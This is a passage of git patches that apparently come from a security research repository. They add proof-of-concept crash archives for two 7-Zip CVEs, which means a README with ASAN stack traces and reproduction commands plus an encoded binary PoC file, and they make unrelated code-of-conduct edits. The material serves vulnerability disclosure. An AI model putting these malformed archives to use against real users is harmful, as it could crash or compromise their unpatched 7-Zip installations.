SecurityExploits/7-Zip/rar-crash.rar5 | Bin 0 -> 55269 bytes 3 files changed, 36 insertions(+) create mode 100644 SecurityExploits/7-Zip/README.md create mode 100644 SecurityExploits/7-Zip/compound-crash.poc create mode 100644 SecurityExploits/7-Zip/rar-crash.rar5 diff --git a/SecurityExploits/7-Zip/README.md b/SecurityExploits/7-Zip/README.md new file mode 100644 index 0000000..7456d00 --- /dev/null +++ b/SecurityExploits/7-Zip/README.md @@ -0,0 +1,36 @@ +# The directory contains proof of concept for GHSL-2025-058 (CVE-2025-53816) and GHSL-2025-059 (CVE-2025-53817) advisories. + +## GHSL-2025-058 (CVE-2025-53816) + +The `rar-crash.rar5` triggers heap buffer write overflow when 7zz 24.09 is compiled with ASAN and extracted, for example as `7zz e -so rar-crash.rar5`. On Windows the same PoC was tested to crash 7-Zip 24.09 even without ASAN. [The advisory](https://securitylab.github.com/advisories/GHSL-2025-058_7-Zip/). + +``` +==2188082==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7fc75fbcc844 at pc 0x5567af835070 bp 0x7fff7f71ce30 sp 0x7fff7f71c600 +WRITE of size 9469 at 0x7fc75fbcc844 thread T0 + #0 0x5567af83506f in __asan_memset /src/llvm-project/compiler-rt/lib/asan/asan_interceptors_memintrinsics.cpp:67:3 + #1 0x5567b0167b0c in My_ZeroMemory(void*, unsigned long) /src/7-zip/CPP/7zip/Bundles/Alone2/../../Compress/Rar5Decoder.cpp:63:5 + #2 0x5567b017c257 in NCompress::NRar5::CDecoder::Code(ISequentialInStream*, ISequentialOutStream*, unsigned long const*, unsigned long const*, ICompressProgressInfo*) /src/7-zip/CPP/7zip/Bundles/Alone2/../../Compress/Rar5Decoder.cpp:1905:11 + #3 0x5567aff075c0 in NArchive::NRar5::CUnpacker::Code(NArchive::NRar5::CItem const&, NArchive::NRar5::CItem const&, unsigned long, ISequentialInStream*, ISequentialOutStream*, ICompressProgressInfo*, bool&) /src/7-zip/CPP/7zip/Bundles/Alone2/../../Archive/Rar/Rar5Handler.cpp:1165:24 + #4 0x5567aff24721 in NArchive::NRar5::CHandler::Extract(unsigned int const*, unsigned int, int, IArchiveExtractCallback*) /src/7-zip/CPP/7zip/Bundles/Alone2/../../Archive/Rar/Rar5Handler.cpp:3293:25 + #5 0x5567b0244c0b in DecompressArchive(CCodecs*, CArchiveLink const&, unsigned long, NWildcard::CCensorNode const&, CExtractOptions const&, bool, IExtractCallbackUI*, IFolderArchiveExtractCallback*, CArchiveExtractCallback*, UString&, unsigned long&) /src/7-zip/CPP/7zip/Bundles/Alone2/../../UI/Common/Extract.cpp:235:23 + #6 0x5567b023fe41 in Extract(CCodecs*, CObjectVector const&, CRecordVector const&, CObjectVector&, CObjectVector&, NWildcard::CCensorNode const&, CExtractOptions const&, IOpenCallbackUI*, IExtractCallbackUI*, IFolderArchiveExtractCallback*, IHashCalc*, UString&, CDecompressStat&) /src/7-zip/CPP/7zip/Bundles/Alone2/../../UI/Common/Extract.cpp:542:5 + #7 0x5567b02f9d8a in Main2(int, char**) /src/7-zip/CPP/7zip/Bundles/Alone2/../../UI/Console/Main.cpp:1378:21 + #8 0x5567b0305b34 in main /src/7-zip/CPP/7zip/Bundles/Alone2/../../UI/Console/MainAr.cpp:162:11 +``` + +## GHSL-2025-059 (CVE-2025-53817) + +The `compound-crash.poc` triggers null pointer write dereference when 7zz is compiled with ASAN and extracted, for example as `7zz e -so compound-crash.poc`. On Windows the same PoC was tested to crash 7-Zip 24.09 even without ASAN. [The advisory](https://securitylab.github.com/advisories/GHSL-2025-059_7-Zip/). + +``` +==2387581==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x5615317c0993 bp 0x7ffcb31a1350 sp 0x7ffcb31a1300 T0) +==2387581==The signal is caused by a WRITE memory access. +==2387581==Hint: address points to the zero page. + #0 0x5615317c0993 in CRecordVector::AddInReserved(unsigned int) ../../Archive/../../Common/MyVector.h:249:18 + #1 0x5615317bfe66 in NArchive::NCom::CHandler::GetStream(unsigned int, ISequentialInStream**) /src/7-zip/CPP/7zip/Bundles/Alone2/../../Archive/ComHandler.cpp:866:28 + #2 0x5615317bea3d in NArchive::NCom::CHandler::Extract(unsigned int const*, unsigned int, int, IArchiveExtractCallback*) /src/7-zip/CPP/7zip/Bundles/Alone2/../../Archive/ComHandler.cpp:806:20 + #3 0x561531e94bbb in DecompressArchive(CCodecs*, CArchiveLink const&, unsigned long, NWildcard::CCensorNode const&, CExtractOptions const&, bool, IExtractCallbackUI*, IFolderArchiveExtractCallback*, CArchiveExtractCallback*, UString&, unsigned long&) /src/7-zip/CPP/7zip/Bundles/Alone2/../../UI/Common/Extract.cpp:235:23 + #4 0x561531e8fdf1 in Extract(CCodecs*, CObjectVector const&, CRecordVector const&, CObjectVector&, CObjectVector&, NWildcard::CCensorNode const&, CExtractOptions const&, IOpenCallbackUI*, IExtractCallbackUI*, IFolderArchiveExtractCallback*, IHashCalc*, UString&, CDecompressStat&) /src/7-zip/CPP/7zip/Bundles/Alone2/../../UI/Common/Extract.cpp:542:5 + #5 0x561531f49d3a in Main2(int, char**) /src/7-zip/CPP/7zip/Bundles/Alone2/../../UI/Console/Main.cpp:1378:21 + #6 0x561531f55ae4 in main /src/7-zip/CPP/7zip/Bundles/Alone2/../../UI/Console/MainAr.cpp:162:11 +``` \ No newline at end of file diff --git a/SecurityExploits/7-Zip/compound-crash.poc b/SecurityExploits/7-Zip/compound-crash.poc new file mode 100644 index 0000000000000000000000000000000000000000..d49fa6c5fc97270f048853b8af7f95ada677638f GIT binary patch literal 24663 zcmeI4&rcIU6vt4gw$m0wD085cor1E8R3!zK6GSAKkvf)%pZ})fa&T2!H?x zfIx>4=)s13hs~&$!&&!I8FYaF2!H?x_=&)*$j~b%RH2JBZ@{$-iFVbbpbIaR>d;C9+Yk0A}{92qine*CsI^SS1YM0 z2Pq1nns-g}zHe`H@B*cJa2 zbD1 z{{@o0LkB0veuFbGxT`2`uYZ;7vJafX#(jNTThu3Sn(y77`)K?psM9GrWXFGzWGnN( z9!f;Uqc>b$cebBwpRYZefn9%4eyK`6Y=ow_V^dmQKd8t4ZDilEEj#|pq|V?Ah7#Ei zJ<+$cM>8ARxI6=Uxb4l+g|XAOHeh5P0u}694GneSiOW>tj#HeC#`12LXq`H>ZRG z2!H?xfIw3SAiSp%-ZLTp^SZP1(hlK0yu5C1c+Un$uKADvU*HM|)F*&w zl9t?N!-zD2U1>=Of&d6~9szoKZprP_bIvy%ZSO1myfQB;8I9AhPvJ#vs*>Yva!*oa zj_ijtJy9#Iq+-855NW0If=6urpGYQoua8plDH~6yxr~}yOsbDFORLMtt87{n|z+zCPXN7SZOgh=yd#_9TfHjek+nR)MVHs+@5oBPf^_uTv5eY1V`VfOip zizhPXg8lbg@t3u`zaO8>9BUtI%N)t)&05}Uk9`~Jj-q9Ad|`BDF4{C1Gq{+aDrCAk z;@nK!Gd`J{h-c&V`Odzm_hawYli}4Xh5qT1wT;45&X^CA_Xa8!Ov!>d&_Z2S(qUgzu_O(;hk8zk!QMO=a;ko1(Rvz7APjc)zA+$P+g}AYA7auK6{fX zN7k#d8gyNWK|fH2k>o6~ei(qJC9#R@->B^0dY&{#>s*68HeIj)RBQD>(%Jw1ZXc#j zM3KFKrd41V=m$B&q)}b%E;bF-^i!zUS$D244Oi;T8XeA?bPYTuCbvNN!8rx;C2#7) zgWL~t3ofDhMzQNIN44BSYf&w(Q2N}dP<-DDc_a9tV=EZv;VJLH)46^U!fUC7mCncT?sm9^?A;Gkan`U5It-J|M ztLsTLuXx{Yw z?t$-dff`3kSBHe^MBZe~4Du|XLTOxu;ycsw5G9Xpxdrs)bWx3*1x#uoO3RbLq?RWg z)lrxtIppkv91qlj?{yYMHG0LZ(sHOTwDM-~nijocm0mHXNG$VnUS2}4*yewlH+}D5 z_^x44<4{G)(=fs3O-8TS_qYg&qj;#+iVHA|mM4KpxhE4AFh!DnO|&I*C?Vww^n#Fa zaBqjtLWlX43rx}AH!+V@xTa5BitSwOWr3=>}8K7mP`46^G@-|GuE zR55OeTfTQ=FOuioJO$!=T%g9$QXnCrI*~U~cYFE`;J~Cjy5$yv*VW($@B`y5aT;0B zQCjC&zI)QqoP`%f@S;eepTTnJ?2leC>I+Pfkkcqkkp%l~%a|gudIm3waKF>dQ8mc= zPB-6`IeNvkV&!R=v>NpNogAJYs3*B`VQrK!Dbx=*m9w4%(^5>zQO&bJR59*oDX8L* zP|ZUWMKzacJNqKhUeGo0J_Yio);%#WjIJl0Wtev()8D(JXxSWpKe{p(Z5m?+7xPnv zOjk#on~8hIwfrED?t}%*>tS9`N!#n(^5W&J1ghC*2dKNXJn1Y~*Eydh_k-L5^n+I3 zgr?Q?BzRIQy1|ojPs%NTX?6L5q8fKFplNXjgD{Nn45cA;7UuO>HwPNB7frt7O}V;t zC!{zTv?|7pz0g6m?Qu z>DJxIS-_+gqO?2-Olo=3Q5}VOJ; Date: Fri, 24 Oct 2025 21:24:17 +0200 Subject: [PATCH 138/140] Update SecurityExploits/7-Zip/README.md Co-authored-by: Copilot <175728472+Copilot@users.noreply.github.com> --- SecurityExploits/7-Zip/README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/SecurityExploits/7-Zip/README.md b/SecurityExploits/7-Zip/README.md index 7456d00..915716c 100644 --- a/SecurityExploits/7-Zip/README.md +++ b/SecurityExploits/7-Zip/README.md @@ -1,4 +1,4 @@ -# The directory contains proof of concept for GHSL-2025-058 (CVE-2025-53816) and GHSL-2025-059 (CVE-2025-53817) advisories. +# This directory contains proof of concept for GHSL-2025-058 (CVE-2025-53816) and GHSL-2025-059 (CVE-2025-53817) advisories. ## GHSL-2025-058 (CVE-2025-53816) From e106717ed7ae30701daf036e2ac2584ef2cc7596 Mon Sep 17 00:00:00 2001 From: Xavier RENE-CORAIL Date: Sat, 22 Nov 2025 01:13:26 +0000 Subject: [PATCH 139/140] Update Code of Conduct --- CODE_OF_CONDUCT.md | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/CODE_OF_CONDUCT.md b/CODE_OF_CONDUCT.md index e43e365..a70b02f 100644 --- a/CODE_OF_CONDUCT.md +++ b/CODE_OF_CONDUCT.md @@ -19,17 +19,17 @@ include: * Gracefully accepting constructive criticism * Focusing on what is best for the community * Showing empathy towards other community members +* Communicating in English to ensure broad accessibility and effective collaboration across our global community. We recognize this presents challenges for non-native speakers and encourage patience and support, while maintaining clear communication and transparency is essential for security-related discussions +* Staying focused on our global topic –securing open source software, getting help securing your project–, or the specific topic of the current Slack channel or discussion thread Examples of unacceptable behavior by participants include: -* The use of sexualized language or imagery and unwelcome sexual attention or - advances +* The use of sexualized language or imagery and unwelcome sexual attention or advances * Trolling, insulting/derogatory comments, and personal or political attacks * Public or private harassment -* Publishing others' private information, such as a physical or electronic - address, without explicit permission -* Other conduct which could reasonably be considered inappropriate in a - professional setting +* Publishing others' private information, such as a physical or electronic address, without explicit permission +* Sustained off-topic messages that detract from the community's focus on open source security +* Other conduct which could reasonably be considered inappropriate in a professional setting ## Our Responsibilities @@ -54,7 +54,7 @@ a project may be further defined and clarified by project maintainers. ## Enforcement Instances of abusive, harassing, or otherwise unacceptable behavior may be -reported by contacting the project team at opensource@github.com. All +reported by contacting the project team at securitylab@github.com. All complaints will be reviewed and investigated and will result in a response that is deemed necessary and appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. From 7621feb6f58db3c27f0e2e799adb714e97396db3 Mon Sep 17 00:00:00 2001 From: Xavier RENE-CORAIL Date: Mon, 1 Dec 2025 16:23:12 -0800 Subject: [PATCH 140/140] Ashley's comment --- CODE_OF_CONDUCT.md | 1 - 1 file changed, 1 deletion(-) diff --git a/CODE_OF_CONDUCT.md b/CODE_OF_CONDUCT.md index a70b02f..35683ba 100644 --- a/CODE_OF_CONDUCT.md +++ b/CODE_OF_CONDUCT.md @@ -19,7 +19,6 @@ include: * Gracefully accepting constructive criticism * Focusing on what is best for the community * Showing empathy towards other community members -* Communicating in English to ensure broad accessibility and effective collaboration across our global community. We recognize this presents challenges for non-native speakers and encourage patience and support, while maintaining clear communication and transparency is essential for security-related discussions * Staying focused on our global topic –securing open source software, getting help securing your project–, or the specific topic of the current Slack channel or discussion thread Examples of unacceptable behavior by participants include: